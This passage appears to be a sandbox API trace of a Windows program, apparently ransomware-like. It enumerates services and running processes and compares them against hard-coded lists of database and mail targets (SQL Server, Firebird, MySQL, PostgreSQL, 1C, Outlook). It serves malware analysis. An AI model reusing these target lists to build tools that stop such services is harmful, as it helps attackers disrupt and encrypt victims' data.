	[0059.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0059.476] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0059.476] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0059.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0059.477] lstrlenW (lpString="CscService") returned 10
	[0059.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0059.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0059.477] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0059.477] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0059.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0059.477] lstrlenW (lpString="DcomLaunch") returned 10
	[0059.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0059.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0059.477] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0059.477] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0059.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0059.477] lstrlenW (lpString="Dhcp") returned 4
	[0059.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0059.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0059.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0059.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0059.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0059.477] lstrlenW (lpString="Dnscache") returned 8
	[0059.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0059.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0059.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0059.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0059.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0059.477] lstrlenW (lpString="DPS") returned 3
	[0059.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0059.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0059.477] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0059.477] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0059.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0059.477] lstrlenW (lpString="eventlog") returned 8
	[0059.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0059.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0059.478] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0059.478] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0059.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0059.478] lstrlenW (lpString="EventSystem") returned 11
	[0059.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0059.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0059.478] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0059.478] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0059.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0059.478] lstrlenW (lpString="gpsvc") returned 5
	[0059.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0059.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0059.478] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0059.478] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0059.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0059.478] lstrlenW (lpString="iphlpsvc") returned 8
	[0059.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0059.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0059.478] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0059.478] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0059.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0059.478] lstrlenW (lpString="LanmanServer") returned 12
	[0059.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0059.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0059.478] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0059.478] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0059.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0059.478] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0059.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0059.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0059.479] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0059.479] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0059.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0059.479] lstrlenW (lpString="lmhosts") returned 7
	[0059.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0059.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0059.479] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0059.479] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0059.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0059.479] lstrlenW (lpString="MMCSS") returned 5
	[0059.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0059.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0059.479] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0059.479] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0059.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0059.479] lstrlenW (lpString="MpsSvc") returned 6
	[0059.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0059.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0059.479] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0059.479] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0059.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0059.479] lstrlenW (lpString="Netman") returned 6
	[0059.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0059.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0059.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0059.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0059.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0059.479] lstrlenW (lpString="netprofm") returned 8
	[0059.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0059.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0059.480] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0059.480] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0059.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0059.480] lstrlenW (lpString="NlaSvc") returned 6
	[0059.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0059.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0059.480] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0059.480] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0059.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0059.480] lstrlenW (lpString="nsi") returned 3
	[0059.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0059.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0059.480] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0059.480] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0059.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0059.480] lstrlenW (lpString="PcaSvc") returned 6
	[0059.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0059.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0059.480] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0059.480] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0059.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0059.480] lstrlenW (lpString="PlugPlay") returned 8
	[0059.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0059.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0059.480] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0059.480] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0059.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0059.480] lstrlenW (lpString="Power") returned 5
	[0059.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0059.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0059.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0059.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0059.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0059.481] lstrlenW (lpString="ProfSvc") returned 7
	[0059.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0059.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0059.481] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0059.481] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0059.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0059.481] lstrlenW (lpString="RpcEptMapper") returned 12
	[0059.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0059.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0059.481] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0059.481] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0059.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0059.481] lstrlenW (lpString="RpcSs") returned 5
	[0059.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0059.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0059.481] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0059.481] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0059.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0059.482] lstrlenW (lpString="SamSs") returned 5
	[0059.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0059.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0059.482] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0059.482] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0059.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0059.482] lstrlenW (lpString="Schedule") returned 8
	[0059.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0059.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0059.482] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0059.482] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0059.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0059.482] lstrlenW (lpString="SENS") returned 4
	[0059.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0059.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0059.482] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0059.482] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0059.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0059.482] lstrlenW (lpString="ShellHWDetection") returned 16
	[0059.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0059.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0059.482] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0059.482] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0059.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0059.482] lstrlenW (lpString="Spooler") returned 7
	[0059.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0059.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0059.482] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0059.482] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0059.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0059.483] lstrlenW (lpString="swprv") returned 5
	[0059.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0059.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0059.483] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0059.483] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0059.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0059.483] lstrlenW (lpString="SysMain") returned 7
	[0059.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0059.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0059.483] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0059.483] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0059.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0059.483] lstrlenW (lpString="Themes") returned 6
	[0059.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0059.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0059.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0059.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0059.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0059.483] lstrlenW (lpString="TrkWks") returned 6
	[0059.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0059.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0059.483] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0059.483] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0059.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0059.483] lstrlenW (lpString="UxSms") returned 5
	[0059.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0059.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0059.483] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0059.483] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0059.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0059.484] lstrlenW (lpString="VSS") returned 3
	[0059.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0059.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0059.484] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0059.484] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0059.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0059.484] lstrlenW (lpString="WdiServiceHost") returned 14
	[0059.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0059.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0059.484] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0059.484] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0059.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0059.484] lstrlenW (lpString="WdiSystemHost") returned 13
	[0059.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0059.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0059.484] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0059.484] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0059.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0059.484] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0059.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0059.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0059.484] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0059.484] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0059.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0059.484] lstrlenW (lpString="Winmgmt") returned 7
	[0059.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0059.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0059.484] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0059.484] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0059.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0059.485] lstrlenW (lpString="WPDBusEnum") returned 10
	[0059.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0059.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0059.485] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0059.485] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0059.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0059.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e4198 | out: hHeap=0x4f0000) returned 1
	[0059.485] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x158
	[0059.487] Process32FirstW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0059.488] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0059.489] lstrlenW (lpString="System") returned 6
	[0059.489] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0059.489] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0059.489] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0059.489] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0059.489] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0059.489] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0059.489] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0059.489] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0059.490] lstrlenW (lpString="smss.exe") returned 8
	[0059.490] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0059.490] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0059.490] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0059.490] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0059.490] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0059.490] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0059.490] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0059.490] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0059.491] lstrlenW (lpString="csrss.exe") returned 9
	[0059.491] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0059.491] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0059.491] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0059.491] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0059.491] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0059.491] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0059.491] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0059.491] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0059.492] lstrlenW (lpString="wininit.exe") returned 11
	[0059.492] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0059.492] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0059.492] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0059.492] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0059.493] lstrlenW (lpString="csrss.exe") returned 9
	[0059.493] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0059.494] lstrlenW (lpString="winlogon.exe") returned 12
	[0059.494] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0059.495] lstrlenW (lpString="services.exe") returned 12
	[0059.495] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0059.495] lstrlenW (lpString="lsass.exe") returned 9
	[0059.495] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0059.496] lstrlenW (lpString="lsm.exe") returned 7
	[0059.496] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.497] lstrlenW (lpString="svchost.exe") returned 11
	[0059.497] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.498] lstrlenW (lpString="svchost.exe") returned 11
	[0059.498] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.499] lstrlenW (lpString="svchost.exe") returned 11
